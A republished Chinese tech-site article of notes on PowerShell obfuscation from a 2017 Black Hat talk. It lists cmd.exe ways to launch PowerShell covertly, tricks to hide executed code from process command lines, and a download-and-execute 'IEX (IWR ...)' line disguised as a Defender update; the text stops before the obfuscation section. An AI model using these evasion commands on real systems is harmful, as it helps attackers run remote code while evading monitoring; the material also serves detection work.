IT学习网 - 爱学习 - 最具影响力综合资讯网站 -- 中国IT界的领航者!
热门关键字:      88888  as  xxx
站外
广告
站外
广告

根据powershell语言的特性来混淆代码的方法与原理

发布时间:2017-08-18 13:47文章来源:互联网文章作者: 佚名点击次数:
大多数攻击者目前已经将PowerShell 利用在了各种攻击场景中,如内网渗透,APT攻击甚至包括现在流行的勒索软件中。powershell的功能强大且调用方式十分灵活。在今年的2017 blackhat大会上,有一个关于powershell的议题(地址:us-17-Bohannon-Revoke-Obfuscati

大多数攻击者目前已经将PowerShell 利用在了各种攻击场景中,如内网渗透,APT攻击甚至包括现在流行的勒索软件中。powershell的功能强大且调用方式十分灵活。在今年的2017 blackhat大会上,有一个关于powershell的议题(地址:us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And%20Evasion-Using-Science),主要就是讲了powershell的混淆与检测。在看完作者的PPT后,真觉得干货颇多,想来做做笔记记录一下。

这篇笔记就来详细介绍一下根据powershell语言的特性来混淆代码的方法与原理。

1. cmd启动powershell

首先看看powershel使用cmd.exe启动执行代码的方式:

1.1 常规方法

cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"

cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"

cmd /c "set p1=power&& set p2=shell&& cmd /c echo Write-Host SUCCESS -Fore Green ^|%p1%%p2% -"

1.2 管道输入流

cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"

1.3 利用环境变量

cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX $env:cmd"

cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%|powershell -

cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ([Environment]::GetEnvironmentVariable('cmd', 'Process'))

cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ((Get-ChildItem/ChildItem/GCI/DIR/LS env:cmd).Value)

在父进程中隐藏运行的代码:上面第二种方式运行时,如果使用进程查看,可以在父进程启动参数中cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%|powershell -,看到你执行的代码,因为此时powershell -的父进程时第一个cmd.exe,所以可以使用cmd中的转义符号^将|转义后,如

cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%^|powershell -,第二个cmd后面对命令行来说是一个整体,然后执行cmd /c echo %cmd%|powershell -,此时powershell -的父进程就是第二个cmd了,看不到我们执行的代码了。

1.4 从其他进程获取参数

首先启动多个cmd进程,这些进程参数中包含要执行的代码

cmd /c "title WINDOWS_DEFENDER_UPDATE&&echo IEX (IWR https://2cto.com/power)&& FOR /L %i IN (1,1,1000) DO echo"

然后在powershell中提取出来IEX (IWR https://2cto.com/power)执行,如:

cmd /c "powershell IEX (Get-WmiObject Win32_Process -Filter \^"Name = 'cmd.exe' AND CommandLine like '%WINDOWS_DEFENDER_UPDATE%'\^").CommandLine.Split([char]38)[2].SubString(5)"

1.5 从粘贴板

cmd.exe /c "echo Write-Host CLIP -Fore Green | clip&& powershell [void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); IEX ([System.Windows.Forms.Clipboard]::GetText())"

这些方法可以在powershell日志中看到,所以开启powershell的日志分析很重要。

但是,如果时混淆的,日志中也仅仅是记录了混淆后的东西。

2. 混淆

Hacker在攻击时经常会远程下载代码脚本执行,这里基于这样的一条标准的下载文件命令来进行变形混淆。


根据powershell语言的特性来混淆代码的方法与原理
本文由 IT学习网 整理,转载请注明“转自IT学习网”,并附上链接。
原文链接:http://www.ourlove520.com/Article/diannao/wangluo/1050880.html

标签分类:

上一篇:上一篇:XShell官方软件被植入后门溯源分析
下一篇: 下一篇:没有了
无觅关联推荐,快速提升流量